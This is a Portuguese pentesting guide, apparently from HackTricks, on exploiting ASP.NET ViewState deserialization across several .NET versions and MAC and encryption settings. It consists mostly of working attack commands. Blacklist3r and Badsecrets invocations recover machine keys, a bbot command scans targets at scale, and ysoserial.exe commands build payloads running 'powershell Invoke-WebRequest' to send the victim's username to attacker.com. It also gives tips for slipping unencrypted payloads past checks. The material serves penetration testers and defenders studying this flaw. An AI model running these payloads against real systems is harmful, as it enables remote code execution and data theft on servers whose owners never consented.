Exploiting __VIEWSTATE without knowing the secrets

Bug bounty tip: inscreva-se para Intigriti, uma plataforma de bug bounty premium criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100,000!

O que é ViewState

ViewState serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ViewState ocultos.

As informações do ViewState podem ser caracterizadas pelas seguintes propriedades ou suas combinações:

• Base64:

• Este formato é utilizado quando tanto os atributos EnableViewStateMac quanto ViewStateEncryptionMode estão definidos como falso.

• Base64 + MAC (Código de Autenticação de Mensagem) Ativado:

• A ativação do MAC é alcançada definindo o atributo EnableViewStateMac como verdadeiro. Isso fornece verificação de integridade para os dados do ViewState.

• Base64 + Criptografado:

• A criptografia é aplicada quando o atributo ViewStateEncryptionMode está definido como verdadeiro, garantindo a confidencialidade dos dados do ViewState.

Casos de Teste

A imagem é uma tabela detalhando diferentes configurações para ViewState no ASP.NET com base na versão do framework .NET. Aqui está um resumo do conteúdo:

1. Para qualquer versão do .NET, quando tanto o MAC quanto a Criptografia estão desativados, uma MachineKey não é necessária, e, portanto, não há um método aplicável para identificá-la.

2. Para versões abaixo de 4.5, se o MAC estiver ativado, mas a Criptografia não, uma MachineKey é necessária. O método para identificar a MachineKey é referido como "Blacklist3r."

3. Para versões abaixo de 4.5, independentemente de o MAC estar ativado ou desativado, se a Criptografia estiver ativada, uma MachineKey é necessária. Identificar a MachineKey é uma tarefa para "Blacklist3r - Desenvolvimento Futuro."

4. Para versões 4.5 e superiores, todas as combinações de MAC e Criptografia (se ambos forem verdadeiros, ou um for verdadeiro e o outro falso) necessitam de uma MachineKey. A MachineKey pode ser identificada usando "Blacklist3r."

Caso de Teste: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false

Também é possível desativar completamente o ViewStateMAC definindo a chave de registro AspNetEnforceViewStateMac como zero em:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identificando Atributos ViewState

Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo este parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Como o Test case 1, mas o cookie ViewState não é enviado pelo servidor

Os desenvolvedores podem remover o ViewState de se tornar parte de uma solicitação HTTP (o usuário não receberá esse cookie). Pode-se supor que se o ViewState não estiver presente, sua implementação está segura contra quaisquer vulnerabilidades potenciais decorrentes da desserialização do ViewState. No entanto, esse não é o caso. Se adicionarmos o parâmetro ViewState ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando ysoserial, ainda seremos capazes de alcançar execução de código como mostrado no Caso 1.

Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false

Para habilitar o ViewState MAC para uma página específica, precisamos fazer as seguintes alterações em um arquivo aspx específico:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Podemos também fazer isso para a aplicação geral configurando-o no arquivo web.config conforme mostrado abaixo:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Como o parâmetro é protegido por MAC, desta vez, para executar com sucesso o ataque, primeiro precisamos da chave utilizada.

Você pode tentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar a chave utilizada.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.

Ele pode ser fornecido com o viewstate e o gerador diretamente:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Ou, pode se conectar diretamente à URL de destino e tentar extrair o viewstate do HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Para procurar por viewstates vulneráveis em grande escala, em conjunto com a enumeração de subdomínios, o módulo badsecrets BBOT pode ser usado:

bbot -f subdomain-enum -m badsecrets -t evil.corp

Se você tiver sorte e a chave for encontrada, você pode prosseguir com o ataque usando YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

Em casos onde o parâmetro _VIEWSTATEGENERATOR não é enviado pelo servidor, você não precisa fornecer o parâmetro --generator mas sim estes:

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true

Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você precisará da Machine Key para criptografar seu payload para explorar a vulnerabilidade.

Neste caso, o Blacklist3r módulo está em desenvolvimento...

Antes do .NET 4.5, o ASP.NET pode aceitar um parâmetro ___VIEWSTATE_ não criptografado dos usuários mesmo que ViewStateEncryptionMode tenha sido definido como Always. O ASP.NET apenas verifica a presença do parâmetro __VIEWSTATEENCRYPTED na solicitação. Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.

Portanto, se os atacantes encontrarem uma maneira de obter a Machinekey através de outra vulnerabilidade, como travessia de arquivos, o comando YSoSerial.Net usado no Caso 2 pode ser usado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.

• Remova o parâmetro __VIEWSTATEENCRYPTED da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do Viewstate e a exploração falhará.

Test Case: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos para false

Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.

<httpRuntime targetFramework="4.5" />

Alternativamente, isso pode ser feito especificando a opção abaixo dentro do parâmetro machineKey do arquivo web.config.

compatibilityMode="Framework45"

Como no anterior, o valor está criptografado. Então, para enviar um payload válido, o atacante precisa da chave.

Você pode tentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar a chave sendo usada:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Para uma descrição mais detalhada sobre IISDirPath e TargetPagePath consulte aqui

Ou, com Badsecrets (com um valor gerador):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Uma vez que uma chave de máquina válida é identificada, o próximo passo é gerar um payload serializado usando YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Se você tiver o valor de __VIEWSTATEGENERATOR, pode tentar usar o parâmetro --generator com esse valor e omitir os parâmetros --path e --apppath.

Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState levará a uma solicitação fora de banda para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em uma prova de conceito (PoC) que pode ser encontrada através de um recurso intitulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para mais detalhes sobre como o processo de exploração funciona e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar a PoC de Exploração Bem-Sucedida.

Caso de Teste 6 – ViewStateUserKeys está sendo usado

A propriedade ViewStateUserKey pode ser usada para defender contra um ataque CSRF. Se tal chave foi definida na aplicação e tentamos gerar o payload ViewState com os métodos discutidos até agora, o payload não será processado pela aplicação. Você precisa usar mais um parâmetro para criar corretamente o payload:

--viewstateuserkey="randomstringdefinedintheserver"

Resultado de uma Exploração Bem-Sucedida

Para todos os casos de teste, se o payload ViewState YSoSerial.Net funcionar com sucesso, o servidor responde com “500 Internal server error” tendo o conteúdo da resposta “As informações de estado são inválidas para esta página e podem estar corrompidas” e recebemos a requisição OOB.

Verifique mais informações aqui

Referências

• https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/

• https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817\

• https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

• https://blog.blacklanternsecurity.com/p/introducing-badsecrets

Dica de bug bounty: inscreva-se no Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100,000!